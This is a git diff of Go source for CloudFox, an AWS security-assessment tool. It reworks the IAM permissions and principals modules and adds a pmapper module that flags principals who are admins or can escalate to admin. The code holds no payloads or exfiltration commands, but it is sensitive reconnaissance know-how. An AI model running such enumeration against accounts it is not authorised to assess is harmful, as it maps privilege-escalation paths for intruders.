Resource string
Condition string
}
func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDirectory string, verbosity int, principal string) {
@@ -88,32 +88,33 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
m.output.Directory = outputDirectory
m.output.CallingModule = "permissions"
m.output.FullFilename = m.output.CallingModule
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
fmt.Printf("[%s] Enumerating IAM permissions for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Enumerating IAM permissions for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
if principal != "" {
m.output.FullFilename = filepath.Join(fmt.Sprintf("%s-custom-%s", m.output.CallingModule, strconv.FormatInt((time.Now().Unix()), 10)))
}
m.getGAAD(principal)
m.parsePermissions()
m.getGAAD()
m.parsePermissions(principal)
m.output.Headers = []string{
"Service",
"Principal Type",
//"Service",
"Type",
"Name",
//"Arn",
"Policy Type",
"Policy",
"Policy Name",
"Effect",
"Action",
"Resource",
"Condition",
}
//Table rows
@@ -121,7 +122,7 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
m.output.Body = append(
m.output.Body,
[]string{
m.Rows[i].AWSService,
//m.Rows[i].AWSService,
m.Rows[i].Type,
m.Rows[i].Name,
//m.Rows[i].Arn,
@@ -130,210 +131,312 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
m.Rows[i].Effect,
m.Rows[i].Action,
m.Rows[i].Resource,
m.Rows[i].Condition,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector3(outputFormat)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
fmt.Printf("[%s] %s unique permissions identified.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s unique permissions identified.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No IAM permissions found. skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No IAM permissions found. skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *IamPermissionsModule) getGAAD() {
GAAD, err := sdk.CachedIAMGetAccountAuthorizationDetails(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
// // if user supplied a principal name without the arn, try to create the arn
// if !strings.Contains(principal, "arn:") {
// principal = fmt.Sprintf("arn:aws:iam::%s:user/%s", aws.ToString(m.Caller.Account), principal)
// }
for _, policy := range GAAD.Policies {
//var IAMtype = "Role"
arn := aws.ToString(policy.Arn)
name := aws.ToString(policy.PolicyName)
m.Policies = append(m.Policies, GAADPolicy{
Arn: arn,
Name: name,
PolicyVersionList: policy.PolicyVersionList,
})
}
for _, role := range GAAD.RoleDetailList {
arn := aws.ToString(role.Arn)
name := aws.ToString(role.RoleName)
m.Roles = append(m.Roles, GAADRole{
Arn: arn,
Name: name,
AttachedPolicies: role.AttachedManagedPolicies,
InlinePolicies: role.RolePolicyList,
})
}
for _, user := range GAAD.UserDetailList {
//var IAMtype = "User"
arn := aws.ToString(user.Arn)
name := aws.ToString(user.UserName)
groupList := user.GroupList
m.Users = append(m.Users, GAADUser{
Arn: arn,
Name: name,
AttachedPolicies: user.AttachedManagedPolicies,
InlinePolicies: user.UserPolicyList,
GroupList: groupList,
})
}
for _, group := range GAAD.GroupDetailList {
arn := aws.ToString(group.Arn)
name := aws.ToString(group.GroupName)
m.Groups = append(m.Groups, GAADGroup{
Arn: arn,
Name: name,
AttachedPolicies: group.AttachedManagedPolicies,
InlinePolicies: group.GroupPolicyList,
})
}
}
func (m *IamPermissionsModule) getGAAD(principal string) {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
//var totalRoles int
// var attachedPolicies []types.AttachedPolicy
// var inlinePolicies []types.PolicyDetail
for {
GAAD, err := m.IAMClient.GetAccountAuthorizationDetails(
context.TODO(),
&iam.GetAccountAuthorizationDetailsInput{
Marker: PaginationControl,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, policy := range GAAD.Policies {
//var IAMtype = "Role"
arn := aws.ToString(policy.Arn)
name := aws.ToString(policy.PolicyName)
m.Policies = append(m.Policies, GAADPolicy{
Arn: arn,
Name: name,
PolicyVersionList: policy.PolicyVersionList,
})
}
for _, role := range GAAD.RoleDetailList {
arn := aws.ToString(role.Arn)
name := aws.ToString(role.RoleName)
if principal == "" {
m.Roles = append(m.Roles, GAADRole{
Arn: arn,
Name: name,
AttachedPolicies: role.AttachedManagedPolicies,
InlinePolicies: role.RolePolicyList,
})
} else {
if arn == principal {
m.Roles = append(m.Roles, GAADRole{
Arn: arn,
Name: name,
AttachedPolicies: role.AttachedManagedPolicies,
InlinePolicies: role.RolePolicyList,
})
}
}
}
// i think the error here is pagination!!
for _, user := range GAAD.UserDetailList {
//var IAMtype = "User"
arn := aws.ToString(user.Arn)
name := aws.ToString(user.UserName)
groupList := user.GroupList
if principal == "" {
m.Users = append(m.Users, GAADUser{
Arn: arn,
Name: name,
AttachedPolicies: user.AttachedManagedPolicies,
InlinePolicies: user.UserPolicyList,
GroupList: groupList,
})
} else {
if arn == principal {
m.Users = append(m.Users, GAADUser{
Arn: arn,
Name: name,
AttachedPolicies: user.AttachedManagedPolicies,
InlinePolicies: user.UserPolicyList,
GroupList: groupList,
})
}
}
}
for _, group := range GAAD.GroupDetailList {
arn := aws.ToString(group.Arn)
name := aws.ToString(group.GroupName)
if principal == "" {
m.Groups = append(m.Groups, GAADGroup{
Arn: arn,
Name: name,
AttachedPolicies: group.AttachedManagedPolicies,
InlinePolicies: group.GroupPolicyList,
})
} else {
if arn == principal {
m.Groups = append(m.Groups, GAADGroup{
Arn: arn,
Name: name,
AttachedPolicies: group.AttachedManagedPolicies,
InlinePolicies: group.GroupPolicyList,
})
}
}
}
// Pagination control. After the last page of output, the for loop exits.
if GAAD.Marker != nil {
PaginationControl = GAAD.Marker
} else {
PaginationControl = nil
break
// create a function that will take a principal name and try to see if it is a role, user, or group and return the arn of the principal
func (m *IamPermissionsModule) getPrincipalArn(principal string) string {
var arn string
for _, role := range m.Roles {
if role.Name == principal {
arn = role.Arn
}
}
for _, user := range m.Users {
if user.Name == principal {
arn = user.Arn
}
}
for _, group := range m.Groups {
if group.Name == principal {
arn = group.Arn
}
}
return arn
}
func (m *IamPermissionsModule) parsePermissions() {
func (m *IamPermissionsModule) parsePermissions(principal string) {
var inputArn string
for i := range m.Roles {
if principal == "" {
for _, attachedPolicy := range m.Roles[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Roles[i].Arn, attachedPolicy, "Role", m.Roles[i].Name)
}
for _, attachedPolicy := range m.Roles[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Roles[i].Arn, attachedPolicy, "Role", m.Roles[i].Name)
for _, inlinePolicy := range m.Roles[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Roles[i].Arn, inlinePolicy, "Role", m.Roles[i].Name)
}
} else {
// if user supplied a principal name without the arn, try to create the arn
if !strings.Contains(principal, "arn:") {
inputArn = fmt.Sprintf("arn:aws:iam::%s:role/%s", aws.ToString(m.Caller.Account), principal)
} else {
inputArn = principal
}
if strings.ToLower(m.Roles[i].Arn) == strings.ToLower(inputArn) {
for _, attachedPolicy := range m.Roles[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Roles[i].Arn, attachedPolicy, "Role", m.Roles[i].Name)
}
for _, inlinePolicy := range m.Roles[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Roles[i].Arn, inlinePolicy, "Role", m.Roles[i].Name)
}
}
}
for _, inlinePolicy := range m.Roles[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Roles[i].Arn, inlinePolicy, "Role", m.Roles[i].Name)
}
}
for i := range m.Users {
for _, attachedPolicy := range m.Users[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
if principal == "" {
for _, attachedPolicy := range m.Users[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
}
for _, inlinePolicy := range m.Users[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
} else {
// if user supplied a principal name without the arn, try to create the arn
if !strings.Contains(principal, "arn:") {
inputArn = fmt.Sprintf("arn:aws:iam::%s:user/%s", aws.ToString(m.Caller.Account), principal)
} else {
inputArn = principal
}
if strings.ToLower(m.Users[i].Arn) == strings.ToLower(inputArn) {
for _, attachedPolicy := range m.Users[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
}
for _, inlinePolicy := range m.Users[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
}
}
for _, inlinePolicy := range m.Users[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
for j, group := range m.Users[i].GroupList {
for _, gaadGroup := range m.Groups {
if gaadGroup.Name == group {
for _, attachedPolicy := range m.Groups[j].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
// for each group in the user's group list, get the attached and inline policy names, and then get the permissions from those policies
for g := range m.Users[i].GroupList {
if principal == "" {
for _, group := range m.Groups {
if group.Name == m.Users[i].GroupList[g] {
for _, attachedPolicy := range group.AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
}
for _, inlinePolicy := range group.InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
}
for _, inlinePolicy := range m.Groups[j].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
} else {
// if user supplied a principal name without the arn, try to create the arn
if !strings.Contains(principal, "arn:") {
inputArn = fmt.Sprintf("arn:aws:iam::%s:user/%s", aws.ToString(m.Caller.Account), principal)
} else {
inputArn = principal
}
if strings.ToLower(m.Users[i].Arn) == strings.ToLower(inputArn) {
for _, group := range m.Groups {
if group.Name == m.Users[i].GroupList[g] {
for _, attachedPolicy := range group.AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
}
for _, inlinePolicy := range group.InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
}
}
}
}
}
// for group := range m.Users[i].GroupList {
// for _, gaadGroup := range m.Groups {
// if gaadGroup.Name == group {
// for _, attachedPolicy := range m.Groups[j].AttachedPolicies {
// m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
// }
// for _, inlinePolicy := range m.Groups[j].InlinePolicies {
// m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
// }
// }
// }
// }
}
}
func (m *IamPermissionsModule) getPermissionsFromAttachedPolicy(arn string, attachedPolicy types.AttachedPolicy, IAMtype string, name string) {
//var policies []types.ManagedPolicyDetail
var s StatementEntry
var s policy.PolicyStatement
var AWSService = "IAM"
var hasConditions string
for _, p := range m.Policies {
if p.Name == aws.ToString(attachedPolicy.PolicyName) {
for _, d := range p.PolicyVersionList {
if d.IsDefaultVersion {
parsedPolicyDocument, _ := parsePolicyDocument(d.Document)
//parsedPolicyDocument, _ := parsePolicyDocument(d.Document)
document, _ := url.QueryUnescape(aws.ToString(d.Document))
parsedPolicyDocument, _ := policy.ParseJSONPolicy([]byte(document))
for _, s = range parsedPolicyDocument.Statement {
//version := parsedPolicyDocument.Version
effect := s.Effect
for _, action := range s.Action {
for _, resource := range s.Resource {
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Managed",
PolicyName: p.Name,
Effect: effect,
Action: action,
Resource: resource,
})
if s.Action != nil {
for _, action := range s.Action {
for _, resource := range s.Resource {
if s.Condition != nil {
hasConditions = "Yes"
} else {
hasConditions = "No"
}
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Managed",
PolicyName: p.Name,
Effect: effect,
Action: action,
Resource: resource,
Condition: hasConditions,
})
}
}
}
if s.NotAction != nil {
for _, action := range s.NotAction {
for _, resource := range s.Resource {
if s.Condition != nil {
hasConditions = "Yes"
} else {
hasConditions = "No"
}
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Managed",
PolicyName: p.Name,
Effect: effect,
Action: "[NotAction] " + action,
Resource: resource,
Condition: hasConditions,
})
}
}
}
}
}
}
@@ -343,66 +446,66 @@ func (m *IamPermissionsModule) getPermissionsFromAttachedPolicy(arn string, atta
func (m *IamPermissionsModule) getPermissionsFromInlinePolicy(arn string, inlinePolicy types.PolicyDetail, IAMtype string, name string) {
//var policies []types.ManagedPolicyDetail
var s StatementEntry
var s policy.PolicyStatement
var AWSService = "IAM"
var hasConditions string
//parsedPolicyDocument, _ := parsePolicyDocument(inlinePolicy.PolicyDocument)
document, _ := url.QueryUnescape(aws.ToString(inlinePolicy.PolicyDocument))
parsedPolicyDocument, _ := policy.ParseJSONPolicy([]byte(document))
parsedPolicyDocument, _ := parsePolicyDocument(inlinePolicy.PolicyDocument)
for _, s = range parsedPolicyDocument.Statement {
//version := parsedPolicyDocument.Version
effect := s.Effect
for _, action := range s.Action {
for _, resource := range s.Resource {
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Inline",
PolicyName: aws.ToString(inlinePolicy.PolicyName),
Effect: effect,
Action: action,
Resource: resource,
})
if s.Action != nil {
for _, action := range s.Action {
for _, resource := range s.Resource {
if s.Condition != nil {
hasConditions = "Yes"
} else {
hasConditions = "No"
}
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Inline",
PolicyName: aws.ToString(inlinePolicy.PolicyName),
Effect: effect,
Action: action,
Resource: resource,
Condition: hasConditions,
})
}
}
}
if s.NotAction != nil {
for _, action := range s.NotAction {
for _, resource := range s.Resource {
if s.Condition != nil {
hasConditions = "Yes"
} else {
hasConditions = "No"
}
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Inline",
PolicyName: aws.ToString(inlinePolicy.PolicyName),
Effect: effect,
Action: "[NotAction] " + action,
Resource: resource,
Condition: hasConditions,
})
}
}
}
}
}
type policyDocument struct {
Version string `json:"Version"`
Statement []StatementEntry `json:"Statement"`
}
type StatementEntry struct {
Effect string `json:"Effect"`
Action ListOfItems `json:"Action"`
Resource ListOfItems `json:"Resource"`
Condition ListOfItems `json:"Condition"`
}
func parsePolicyDocument(doc *string) (policyDocument, error) {
document, _ := url.QueryUnescape(aws.ToString(doc))
var parsedDocumentToJSON policyDocument
_ = json.Unmarshal([]byte(document), &parsedDocumentToJSON)
return parsedDocumentToJSON, nil
}
// A custom unmarshaller is necessary because the list of principals can be an array of strings or a string.
// https://stackoverflow.com/questions/65854778/parsing-arn-from-iam-policy-using-regex
type ListOfItems []string
func (r *ListOfItems) UnmarshalJSON(b []byte) error {
var s string
if err := json.Unmarshal(b, &s); err == nil {
*r = append(*r, s)
return nil
}
var ss []string
if err := json.Unmarshal(b, &ss); err == nil {
*r = ss
return nil
}
return errors.New("cannot unmarshal neither to a string nor a slice of strings")
}
+272
View File
@@ -0,0 +1,272 @@
package aws
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strconv"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/dominikbraun/graph"
"github.com/sirupsen/logrus"
)
type PmapperModule struct {
// General configuration data
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
pmapperGraph graph.Graph[string, string]
Nodes []Node
Edges []Edge
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type Edge struct {
Source string `json:"source"`
Destination string `json:"destination"`
Reason string `json:"reason"`
ShortReason string `json:"short_reason"`
}
type Node struct {
Arn string `json:"arn"`
IDValue string `json:"id_value"`
AttachedPolicies []AttachedPolicies `json:"attached_policies"`
GroupMemberships []interface{} `json:"group_memberships"`
TrustPolicy interface{} `json:"trust_policy"`
InstanceProfile interface{} `json:"instance_profile"`
ActivePassword bool `json:"active_password"`
AccessKeys int `json:"access_keys"`
IsAdmin bool `json:"is_admin"`
PermissionsBoundary interface{} `json:"permissions_boundary"`
HasMfa bool `json:"has_mfa"`
Tags Tags `json:"tags"`
PathToAdmin bool
}
type AttachedPolicies struct {
Arn string `json:"arn"`
Name string `json:"name"`
}
type Tags struct {
}
func (m *PmapperModule) initPmapperGraph() error {
// Parse mapper nodes and edges and populate the m.Nodes and m.Edges slices in the method struct
err := m.readPmapperData(m.Caller.Account)
if err != nil {
return err
}
m.pmapperGraph = m.createAndPopulateGraph()
for i := range m.Nodes {
if m.doesNodeHavePathToAdmin(m.Nodes[i]) {
m.Nodes[i].PathToAdmin = true
//fmt.Println(m.Nodes[i].Arn, m.Nodes[i].IsAdmin, m.Nodes[i].PathToAdmin)
} else {
m.Nodes[i].PathToAdmin = false
}
}
return nil
}
func (m *PmapperModule) createAndPopulateGraph() graph.Graph[string, string] {
pmapperGraph := graph.New(graph.StringHash, graph.Directed())
// having issues with caching the graph. will have to swing back and try again later
// gob.Register(pmapperGraph)
// cacheKey := fmt.Sprintf("%s-pmapperGraph", aws.ToString(m.Caller.Account))
// cached, found := internal.Cache.Get(cacheKey)
// if found {
// return cached.(graph.Graph[string, string])
// }
for _, node := range m.Nodes {
_ = pmapperGraph.AddVertex(node.Arn)
}
for _, edge := range m.Edges {
_ = pmapperGraph.AddEdge(edge.Source, edge.Destination)
}
//internal.Cache.Set(cacheKey, pmapperGraph, cache.DefaultExpiration)
return pmapperGraph
}
func (m *PmapperModule) DoesPrincipalHavePathToAdmin(principal string) bool {
for i := range m.Nodes {
if m.Nodes[i].Arn == principal {
if m.Nodes[i].PathToAdmin {
return true
}
}
}
return false
}
func (m *PmapperModule) DoesPrincipalHaveAdmin(principal string) bool {
for i := range m.Nodes {
if m.Nodes[i].Arn == principal {
if m.Nodes[i].IsAdmin {
return true
}
}
}
return false
}
func (m *PmapperModule) PrintPmapperData(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "pmapper"
m.output.FullFilename = m.output.CallingModule
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
pmapperError := m.initPmapperGraph()
if pmapperError != nil {
fmt.Printf("[%s][%s] No pmapper data found for this account. \n\t\t\t1. Generate pmapper data by running `pmapper --profile %s graph create`\n\t\t\t2. After that completes, cloudfox will attempt to enrich this command and others with pmapper privesc data\n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.AWSProfile)
fmt.Printf("[%s][%s] For more info and troubleshooting steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
m.modLog.Error(pmapperError)
return
} else {
fmt.Printf("[%s][%s] Parsing pmapper data for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
}
m.output.Headers = []string{
"Principal Arn",
"IsAdmin?",
"CanPrivEscToAdmin?",
}
//Table rows
var isAdmin, pathToAdmin string
for i := range m.Nodes {
if m.Nodes[i].PathToAdmin || m.Nodes[i].IsAdmin {
if m.Nodes[i].IsAdmin {
isAdmin = "YES"
} else {
isAdmin = "No"
}
if m.Nodes[i].PathToAdmin {
pathToAdmin = "YES"
} else {
pathToAdmin = "No"
}
m.output.Body = append(
m.output.Body,
[]string{
m.Nodes[i].Arn,
isAdmin,
pathToAdmin,
},
)
}
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s principals who are admin or have a path to admin identified.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No principals who are admin or have a path to admin identified. skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *PmapperModule) doesNodeHavePathToAdmin(startNode Node) bool {
if startNode.IsAdmin {
return true
} else {
for _, destNode := range m.Nodes {
if destNode.IsAdmin {
path, _ := graph.ShortestPath(m.pmapperGraph, startNode.Arn, destNode.Arn)
for _, p := range path {
if p != "" {
if startNode.Arn != destNode.Arn {
// if we got here there is a path
//fmt.Printf("%s has a path %s who is an admin.\n", startNode.Arn, destNode.Arn)
//fmt.Println(path)
return true
}
}
}
}
}
}
return false
}
func (m *PmapperModule) readPmapperData(accountID *string) error {
e, n := generatePmapperDataBasePaths(accountID)
nodesFile, err := os.Open(n)
if err != nil {
return err
}
defer nodesFile.Close()
nodesByteValue, _ := ioutil.ReadAll(nodesFile)
json.Unmarshal([]byte(nodesByteValue), &m.Nodes)
edgesFile, err := os.Open(e)
if err != nil {
return err
}
defer edgesFile.Close()
edgesByteValue, _ := ioutil.ReadAll(edgesFile)
json.Unmarshal([]byte(edgesByteValue), &m.Edges)
return nil
}
+75 -94
View File
@@ -1,37 +1,35 @@
package aws
import (
"context"
"fmt"
"path/filepath"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
)
type IamPrincipalsModule struct {
// General configuration data
IAMClient *iam.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
Users []User
Roles []Role
Groups []Group
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -68,19 +66,19 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputFormat string, outputDire
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "principals"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s] Enumerating IAM Users and Roles for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Enumerating IAM Users and Roles for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
// wg := new(sync.WaitGroup)
// done := make(chan bool)
// go console.SpinUntil(m.output.CallingModule, &m.CommandCounter, done)
// go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, done)
// wg.Add(1)
// m.CommandCounter.Pending++
//m.executeChecks(wg)
@@ -88,8 +86,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputFormat string, outputDire
// done <- true
// <-done
m.getIAMUsers()
m.getIAMRoles()
m.addIAMUsersToTable()
m.addIAMRolesToTable()
//fmt.Printf("\nAnalyzed Resources by Region\n\n")
@@ -136,17 +134,35 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputFormat string, outputDire
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
fmt.Printf("[%s] %s IAM principals found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s IAM principals found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No IAM principals found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
